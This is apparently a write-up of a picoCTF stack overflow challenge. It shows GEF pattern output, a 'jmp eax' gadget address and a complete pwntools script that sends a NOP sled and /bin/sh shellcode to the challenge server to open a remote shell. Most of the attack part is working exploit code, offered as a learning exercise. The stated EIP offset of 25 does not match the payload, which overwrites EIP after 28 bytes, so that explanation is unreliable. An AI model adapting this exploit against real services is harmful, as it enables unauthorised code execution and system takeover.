This challenge was a clean stack overflow chain: find EIP offset, redirect execution, and pop a shell.
1) Find the EIP offset
First, I sent oversized input and confirmed the crash was
controllable. Then I used a cyclic pattern with GEF. At crash
time, EIP held 0x61616168 ("haaa"), and pattern
lookup mapped that value to offset 25. So byte 25
is where EIP gets overwritten.
gef➤ pattern create 500
gef➤ run < pattern.txt
...
EIP = 0x61616168 ("haaa")
gef➤ pattern search haaa
[+] Found at offset 25 (little-endian search) likely
2) Choose a control-transfer gadget
Next, I looked for a stable gadget and found
jmp eax at 0x0805333b. That works well
here because EAX already points into our input buffer during the
crash.
So the plan is simple: overwrite EIP with
0x0805333b, hit jmp eax, and land
directly in attacker-controlled bytes.
3) Build payload
Payload layout:
[NOP sled][short jump][jmp eax address][shellcode].
The NOP sled (0x90) gives a bit of landing room.
The short jump skips over the packed return address so execution
continues into shellcode cleanly.
import pwn
payload = b'\x90' * 26
payload += b'\xeb\x04'
payload += pwn.p32(0x0805333b)
payload += pwn.asm(pwn.shellcraft.i386.linux.sh())
with open("output.bin", "wb") as file:
file.write(payload)
p = pwn.remote('saturn.picoctf.net', 61004)
p.sendline(payload)
p.interactive()
4) Trigger and interact
After sending the payload, execution flowed through
jmp eax into shellcode and
p.interactive() handed me the remote shell.
Challenge solved.
Quick note: NOP sled, gadget, and control flow
The NOP sled is just a safety runway. Instead of needing one perfect jump target, you can land anywhere inside the sled and slide forward into shellcode.
In this challenge, the gadget is jmp eax. We set
EIP to that gadget address, so execution first goes to
jmp eax, then immediately to whatever address is in
EAX (which points into our payload).
So the execution flow is:
vulnerable input -> EIP overwrite -> jmp eax gadget -> NOP sled -> shellcode -> shell.
Not full ROP chaining here, but the same idea: use existing code
in the binary to redirect control where you want.